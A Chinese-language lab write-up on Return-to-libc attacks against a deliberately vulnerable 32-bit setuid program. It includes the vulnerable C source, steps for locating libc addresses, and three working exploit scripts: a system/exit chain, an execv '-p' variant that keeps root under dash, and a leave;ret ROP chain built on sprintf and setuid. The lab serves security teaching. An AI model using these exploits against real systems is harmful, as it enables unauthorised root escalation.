Return-to-libc攻击实验
上篇文章我们完成了对ASLR的对抗,本文则对noexecstack,堆栈不可执行进行攻击示范,我们将利用已有代码片段,构造ROP链,实现攻击。
首先我们要关闭ASLR sudo sysctl -w kernel.randomize_va_space=0,执行实验目录下的makefile,将retlib.c按 -m32 -fno-stack-protector -z noexecstack进行编译,并设置为set_uid程序,方便攻击的后续提权。
在前三个任务中,我们将/bin/sh链接为/bin/zsh,以此绕过Ubuntu的原生保护,任务四将回头解决该问题
任务一:查找libc函数地址
首先给出漏洞代码如下,并未发现有system或execv等命令执行函数。为获得shell,我们应该在内存中的共享库进行查找,获得对应的函数地址
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
unsigned int *framep;
// Copy ebp into framep
asm("movl %%ebp, %0" : "=r" (framep));
/* print out information for experiment purpose */
printf("Address of buffer[] inside bof(): 0x%.8x\n", (unsigned)buffer);
printf("Frame Pointer value inside bof(): 0x%.8x\n", (unsigned)framep);
strcpy(buffer, str);
return 1;
}
void foo(){
static int i = 1;
printf("Function foo() is invoked %d times\n", i++);
return;
}
int main(int argc, char **argv)
{
char input[1000];
FILE *badfile;
badfile = fopen("badfile", "r");
int length = fread(input, sizeof(char), 1000, badfile);
printf("Address of input[] inside main(): 0x%x\n", (unsigned int) input);
printf("Input size: %d\n", length);
bof(input);
printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");
return 1;
}
ldd查找
我们可以先使用ldd分析程序的动态链接情况,得到程序共享库信息以及加载基址

接下来我们可以在共享库进行函数偏移的查询,计算得到system函数地址为 0xf7dc3000+0x41780=0xF7E04780,同理exit函数地址为 0xf7dc3000+0x340c0=0xF7df70c0

但要注意,我们的retlib为Set_uid程序,动态库的加载地址可能与当前shell查询得到的不太一致,因此导致地址会有些许偏差
gdb查找
我们同样可以直接使用gdb进行动态的地址查询,由于我们关闭了ASLR,每次进入程序时对应的函数地址也应当一致。
首先输入如下命令,得到gdb中的函数地址结果如图,可以看到,确实与上文推算得到的函数地址有0x5000的偏差
gdb -q retlib
b main
r
p system
p exit

任务二:将”/bin/sh”放入内存
为使用system获取shell,我们必须有诸如”/bin/sh”的参数字符串。自然,我们可以通过ASCII码方式将该字符串构造在程序内部,但此处我们选择一个更巧妙的方法,利用环境变量将字符串传入内存中。
首先,我们得清楚shell是如何执行命令的——execve("your_instruction", argv, environ);,这也正是main函数参数列表 int main(int argc,char* argv[],char* env[])的由来。因此环境变量是作为参数在执行命令时被压入栈中的。所以我们完全可以通过在shell中 export MYSHELL=/bin/sh来将该字符串放入程序中
由于shell作为父进程的栈帧不变,每次执行命令均通过execve调用进行。因此我们只需要保证三个参数的长度保持一致,便可通过自定义代码获取指定环境变量在内存中的地址,并且与retlib时的保持一致
//获取环境变量地址
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void main(){
char *shell = getenv("MYSHELL");
if(shell)printf("%x\n",(unsigned int)shell);
}
分别将该段代码放在retlib和prtenv中,观察结果,获取的地址一致,因此该方法确实成功得到了指定字符串的地址


任务三:发起攻击
我们已知system和exit地址,可直接构造如下payload,其中XYZ分别为对应的offset,具体值可通过./retlib的回显计算
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = 0x24
sh_addr = 0xffffd413 # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 0x1c
system_addr = 0xf7e09780 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
Z = 0x20
exit_addr = 0xf7dfc0c0 # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
f.write(content)
payload填充后栈结构如下图,先执行system(/bin/sh),执行完毕以后再调用exit退出

成功获取root权限,攻击成功

关于攻击变种12,进行简单解释说明。
1,去除exit以后不影响rootshell的获取,只是退出rootshell后,原程序报段错误,仍能攻击成功
2,更改程序名长度后,如上节所说,将会挤压环境变量所在的地址,从而导致二程序的/bin/sh地址发生偏差,攻击不成功
任务四:对抗原生shell
首先我们修改回原本的/bin/dash,此时如果仍按照上节攻击方式进行攻击,会得到如下结果。获取到的shell权限仍为seed,无法进行提权

但是我们知道,通过-p参数可以保存set_uid的权限不被放弃,因此,我们应该将目光聚焦到可以附带参数的 int execv(const char *pathname, char *const argv[]);上。但注意,execv的参数调用如下图所示。argv[2]必须为4个0,所以我们必须在exploit.py中进行-p的构建。同时鉴于strcpy会被0截断,因此我们要像上篇文章,通过main函数调用构建的argv数组

由此构建出我们的exploit2.py,通过./retlib得到main函数中input的地址,并在input[100]处构建我们的参数二的数组。
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
input_addr=0xffffcdb0
X = 0x24#path_addr
sh_addr = 0xffffd413 # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
content[120:123] = b"-p\0"
content[100:104] = (sh_addr).to_bytes(4,byteorder='little')
content[104:108] = (input_addr+120).to_bytes(4,byteorder='little')
content[108:112] = (0).to_bytes(4,byteorder='little')
W = 0x28#argv_addr
argv_addr = input_addr+100
content[W:W+4] = (argv_addr).to_bytes(4,byteorder='little')
Y = 0x1c
execv_addr = 0xf7e916b0 # The address of execv()
content[Y:Y+4] = (execv_addr).to_bytes(4,byteorder='little')
with open("badfile", "wb") as f:
f.write(content)
经过payload覆盖后,我们的栈结构如图所示


使用该代码进行攻击,可以发现我们在dash中成功实现了root提权

任务五:ROP导向式编程
在本节中,我们将使用leaveret操作构造足够的栈空间来确保ROP链的构造。首先给出攻击代码,后续再逐步分析
#!/usr/bin/env python3
import sys
def tobytes (value):
return (value).to_bytes(4, byteorder= 'little')
content=bytearray(0xaa for i in range (24))
sh_addr = 0xffffd413
leaveret = 0x565562ae
sprintf_addr = 0xf7e18310
setuid_addr = 0xf7e92070
system_addr = 0xf7e09780
exit_addr = 0xf7dfc0c0
ebp_bof = 0xffffcd98
foo_addr=0x565562b0
## setuid()'s 1st argument
sprintf_arg1 = ebp_bof + 12 + 5*0x20
## a byte that contains 0x00
sprintf_arg2 = sh_addr + len("/bin/sh")
## Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)
## sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(sprintf_addr)
content += tobytes(leaveret)
content += tobytes(sprintf_arg1)
content += tobytes(sprintf_arg2)
content += b'A' * (0x20 - 5*4)
sprintf_arg1 += 1
## setuid(0)
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(setuid_addr)
content += tobytes(leaveret)
content += tobytes(0xFFFFFFFF)
content += b'A' * (0x20 - 4*4)
for i in range(10):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(foo_addr)
content += tobytes(leaveret)
content += b'A' * (0x20 - 3*4)
## system("/bin/sh")
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(system_addr)
content += tobytes(leaveret)
content += tobytes(sh_addr)
content += b'A' * (0x20 - 4*4)
## exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)
## Write the content to a file
with open("badfile", "wb") as f:
f.write (content)
首先我们来确定要使用到的函数,setuid用于更新权限,sprintf用于修改setuid参数值,system用于获取shell,exit用于函数返回,foo用于满足实验任务,leaveret用于扩展栈空间
使用gdb分别获取这些函数的地址以及leaveret的地址


确定完地址以后,我们来分析sprintf的两个参数。首先,由于strcpy无法直接绕过0截断,我们可以先将setuid的参数设为0xffffffff。然后计算好偏移,比如 sprintf_arg1=ebp_bof + 12 + 5*0x20,此处对应着程序中setuid的参数部分,后续 sprintf_arg2 = sh_addr + len("/bin/sh")这里则取到了字符串末尾的’\0’用于字节填充,将4bit的setuid参数动态修改为0。
为了确保ROP链的成立,我们使用了leaveret栈迁移技术。首先明确 leave="mov esp,ebp;pop ebp" ret="pop eip"。
执行leave操作时首先使esp同样指向栈上的旧ebp处,然后esp+4,pop ebp到父ebp处。ret则是转移控制流到esp+8的地址处
根据以上原理,我们可以对以下代码片段进行解释:首先修改下一步ebp为ebp+0x20处,开拓0x20bit空间,执行完原有的leaveret后,迁移完ebp后,再次执行leaveret,使esp指向当前ebp处,然后pop ebp,继续迁移ebp开拓0x20空间,此时retaddr则为sprintf_addr,执行完以后再次leaveret,继续开拓新栈帧。重复上述操作,即可无限制延长ROP链。
## Use leaveret to return to the first sprintf()
ebp_next = ebp_bof + 0x20
content += tobytes(ebp_next)
content += tobytes(leaveret)
content += b'A' * (0x20 - 2*4)
## sprintf(sprintf_argl, sprintf_arg2)
for i in range(4):
ebp_next += 0x20
content += tobytes(ebp_next)
content += tobytes(sprintf_addr)
content += tobytes(leaveret)
content += tobytes(sprintf_arg1)
content += tobytes(sprintf_arg2)
content += b'A' * (0x20 - 5*4)
sprintf_arg1 += 1
后续的函数执行也同理,直到exit,此时已经是最后一个函数,无需再开拓栈空间,因此没有续接leaveret。并且第一行将ebp转到0xffffffff,无实际意义。
## exit()
content += tobytes(0xFFFFFFFF)
content += tobytes(exit_addr)
执行攻击,得到结果如下,成功取得root权限
